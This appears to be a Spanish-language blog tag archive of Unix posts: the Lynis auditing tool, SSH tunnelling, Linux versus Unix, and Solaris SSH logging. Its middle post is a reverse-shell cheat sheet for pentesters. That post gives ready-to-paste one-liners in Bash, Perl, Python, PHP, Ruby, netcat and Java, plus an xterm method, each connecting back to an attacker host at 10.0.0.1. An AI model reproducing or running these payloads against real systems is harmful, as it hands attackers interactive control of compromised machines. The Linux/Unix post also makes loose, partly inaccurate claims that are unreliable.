Tag Archives: unix

Lynis: Herramienta de Seguridad y Auditoria para Sistemas *nix

lynisLynis es una herramienta de auditoria para sistemas *nix (Unix/Linux). La misma ejecuta un análisis de seguridad y determina el estado de “hardering” del host. Cualquier problema de seguridad que sea detectado proporcionara una sugerencia o una advertencia. Junto con la información relacionada con la seguridad también buscara información general del sistema, paquetes instalados y posibles errores de configuración. En general, es una herramienta de auditoria y seguridad para “hardering” de sistemas *nix (Unix/Linux).

Este software tiene como objetivo asistir de manera automatica en la auditoria, “hardering”, gestion de parches, y el analisis de vulnerabilidades y malware de sistemas *nix (Unix/Linux). Se puede ejecutar sin necesidad de instalación, por lo que se puede utilizar en medios extraibles como ser CD/DVD, pendrives, etc.

Es una herramienta que ayuda a los auditores en la realizacion de auditorias basadas en los estandares Basel II, GLBA, HIPAA, PCI DSS and SOx (Sarbanes-Oxley).

Lynis esta desarrollada para ser utilizada por especialistas de seguridad, pentesters, auditores de sistemas, administradores de sistemas.

Algunos ejemplos de testeos:

  • Métodos disponibles de autenticación
  • Certificados SSL expirados
  • Software desactualizado
  • Cuentas de usuario sin password
  • Permisos de archivos incorrectos
  • Errores de configuración
  • Auditoria de Firewall

lynis-screenshot

Lynis es un script de auditoria escrito en lenguaje de scripting shell (sh). Por lo tanto, se ejecuta en la mayoría de los sistemas sin ningún tipo de configuración. Los paquetes están creados para facilitar su instalación. Aun así, si nos interesa bajar la versión mas reciente, basta con descargar el “tarball”, extraerlo en un directorio temporal y ejecutar la herramienta.

Testeado en los siguientes SO:

  • ArchLinux
  • CentOS
  • Debian
  • FedoraCore
  • FreeBSD
  • Gentoo
  • Knoppix
  • LinuxMint
  • MacOSX
  • Mandriva
  • OpenBSD
  • OpenSolaris
  • OpenSuSE
  • OracleLinux
  • PcBSD
  • PCLinuxOS
  • RedHatEnterpriseLinux(RHEL)
  • RedHatderivatives
  • Slackware
  • Solaris10
  • Ubuntu

Descarga

Introducción al uso de túneles SSH

Todos nos hemos encontrado en algún momento con que ese servicio al que queremos acceder está en un equipo inalcanzable desde nuestra red u otros problemas similares. Si disponemos de acceso SSH podemos solucionar fácilmente problemas de este tipo utilizando túneles SSH.

Planteamos un primer escenario, en el que tenemos un servidor de bases de datos al que podemos acceder por SSH, pero cuyo cortafuegos nos impide interactuar directamente con la base de datos (suponemos MySQL, que utiliza el puerto 3306).

a0

En este caso, para ganar acceso local a la base de datos, haremos que todo el tráfico que vaya al puerto local X se redirija a través de la conexión SSH al puerto local 3306 de la máquina a la que nos estamos conectando, utilizando el modificador -L:

 

Ahora, si tenemos una aplicación que utilice dicho servidor de base de datos, simplemente debemos indicarle que la base de datos se encuentra en nuestro equipo local, en el puerto X. Del mismo modo, si el equipo que tiene la base de datos es un tercer equipo, al que no tenemos acceso desde nuestro equipo local pero si desde el servidor al que nos conectamos a través de SSH, la orden será:

 

a1

También podemos querer justo lo contrario: que un servidor remoto pueda acceder a un recurso o servicio proporcionado por nuestro equipo o nuestra red local.

a2

En este caso, haremos que todo el tráfico que el servidor remoto envíe a su puerto Y se redirija hacia el puerto Z de nuestro equipo, utilizando el modificador -R:

 

Al igual que en el caso anterior, si el equipo que contiene el servicio que queremos conectar es uno distinto del nuestro, cambiaremos localhost por la IP de dicho equipo. Por ejemplo:

 

a3

Como extra, indicar que los servidores SSH ofrecen otra característica interesante, que consiste en crear un proxy de tipo SOCKS en el equipo local. Con esto hacemos que todas las peticiones que se envíen al puerto X del equipo local, se redirijan hacia el equipo remoto y se envíen a su destino como si las hubiera enviado el equipo remoto:

 

a4

Esto es de especial utilidad ya que existen multitud de aplicaciones cuyo tráfico puede ser reenviado a través de un proxy SOCKS. El mejor ejemplo de esto son los navegadores modernos, como Firefox, por ejemplo:

Screenshot from 2013-09-20 16:33:24

Esperro que les haya gustado este pequeño post.

Reverse Shell – Cheat Sheet

Si tienes la suerte de encontrar una vulnerabilidad que te permita ejecución de comandos durante un pentest, poco después, probablemente quieras tener acceso a un shell interactivo. Si no es posible agregar una nueva cuenta de usuario/ SSH Key / .rhosts y loguearte, el siguiente paso es probable que sea tirando por detrás un reverse shell (shell inversa) o bindear un shell a un puerto TCP. Este post tratara sobre la primera opción.

Las opciones para la creación de un reverse shell están limitadas por los lenguajes de script instalados en el sistema que estemos testeando – aunque probablemente podría subir un binario también, si tienes el conocimiento adecuado para hacerlo.

Los ejemplos que se muestran en este post están hechos para sistemas Unix-like. Algunos de los ejemplos a continuación también deberían funcionar en MS Windows si se sustituye “/bin/sh -i” por “cmd.exe”

Cada uno de los siguientes métodos están destinados a ser de una sola linea para poder copiar y pegar (Copy&Paste). Como tal son lineas muy cortas, pero no de fácil lectura.

Bash

Algunas versiones de Bash pueden enviar un reverse shell (Este fue probado en Linux Mint 15)

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Aquí hay una versión abreviada, sin funciones especiales de una reverse shell en Perl:

perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

Aquí otra shell reverse en perl:

Python

Este fue probado en Linux / Python 2.7

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP

Este código asume que la conexión TCP utiliza descriptor de fichero 3. Esto funciono en un entorno de prueba. Si esto no funciona, intente: 4, 5, 6 …

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Si quieres un archivo php para subir, puedes usar este reverse shell php mas funcional y robusto

Ruby

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

NetCat

NetCat rara vez esta presente en los sistemas de producción, e incluso si esta hay varias versiones de NetCat, algunas de las cuales no son compatibles con la opción “-e”

nc -e /bin/sh 10.0.0.1 1234

Si la versión que esta en el sistema es la incorrecta, es posible que aun pueda obtener una shell inversa probando con este código:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()
p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])
p.waitFor()

(Nota: Este script no fue probado)

xTerm

Una de las formas mas simples de obtener una reverse shell es una sesión de xTerm. El siguiente comando se debe ejecutar en el servidor. Intentara conectarse de nuevo a nuestro equipo (10.0.0.1 en el ejemplo) al puerto TCP 6001.

xterm -display 10.0.0.1:1

Para capturar la sesión xTErm entrante, iniciar x-server (:1 lo que escucha en el puerto TCP 6001) Una forma de hacerlo es con XNest (para ejecutarlo en nuestro sistema):

Xnest :1

Tendremos entonces que autorizar al objetivo para conectarse con nuestra computadora (este comando también se ejecutara en nuestro host):

xhost +targetip

Diferencia entre Linux y Unix

¿Que es Linux?

Linux es actualmente un nombre común para una gran variedad de sistemas operativos. Muchas empresas venden Linux y es posible que haya oído hablar de algunas de ellas, Red Hat, Debian, SuSe, Slackware, etc. Linux es un buen SO, ya que es compatible con el popular lenguaje de programación PHP. Es también elegido por muchas empresas de hosting web, en la que, en general, tiene un historial de seguridad muy bueno y tiende en promedio a ser un sistema operativo estable. Además, el software Linux es gratis.

¿Que es Unix?

La ultima versión se dice que se encuentra muy cera en comparación con las versiones de Linux. La principal diferencia es la historia de como las dos versiones llegaron a existir. Linux es una rama del sistema operativo Unix, donde los sistemas operativos “Unix-based” son refinamientos de Unix mismo. Linux, básicamente, es un primo de los sistemas operativos “Unix-Based”. Los principales sistemas operativos “Unix-based” son FreeBSD y OpenBSD. Estos sistemas operativos suelen ser muy estables, una vez instalados. OpenBSD también tiene la reputación de ser muy seguro, se dice que en los últimos 6 años solo había un agujero de seguridad en el propio software. Sin embargo, OpenBSD no permite todo, tienes que sacrificar algo de flexibilidad por seguridad. Estos sistemas operativos (FreeBSD y OpenBSD) son gratis al igual que Linux. Por lo general las empresas de hosting Unix son mas baratas que Windows Server, esto se debe a que la mayoría de los sistemas operativos Unix y su software son gratuitos. Sin lugar a dudas los servicios de hosting del tipo Unix/Linux (nix, **nix) son mas populares y si tiene la intención de utilizar programas Perl, Python en su sitio, les recomiendo Unix, aunque Perl y Python  están disponibles para Windows Server no son soportados nativamente. La mayoría de los scripts Perl y Python en Internet son para Unix/Linux y algunos incluyen funciones que solo funcionaran en un sistema Unix/Linux, tales como el uso de sendmail. Muchos desarrolladores están de acuerdo en que la combinación de Perl o Python y MySQL/mSQL en un servidor Unix es la mejor combinación para aplicaciones web y el acceso a base de datos, es barato y puede soportar muchos procesos simultáneos.

Como “registrar” los accesos de SSH en Solaris

Introducción

En Solaris, por defecto, los registros de intentos de acceso mediante SSH no quedan registrados. Para poder registrarlos debemos modificar el valor de la variable de configuración auth.notice de syslog.

Para ello, editaremos el archivo de configuración /etc/syslog.conf y descomentaremos la entrada auth.notice

# vi /etc/syslog.conf

auth.notice ifdef(LOGHOST', /var/log/authlog, @loghost)

# si queremos todos los niveles

#auth.notice;auth.info;auth.debug ifdef(LOGHOST’, /var/log/authlog, @loghost)

Una vez modificado, debemos recargar la configuración de nuestro syslogd de la siguiente forma

# pkill -HUP syslogd

Podemos consultar los intentos de accesos en el archivo /var/log/authlog utilizando -por ejemplo- el comando tail o si queremos algo más avanzado LogWatch.

.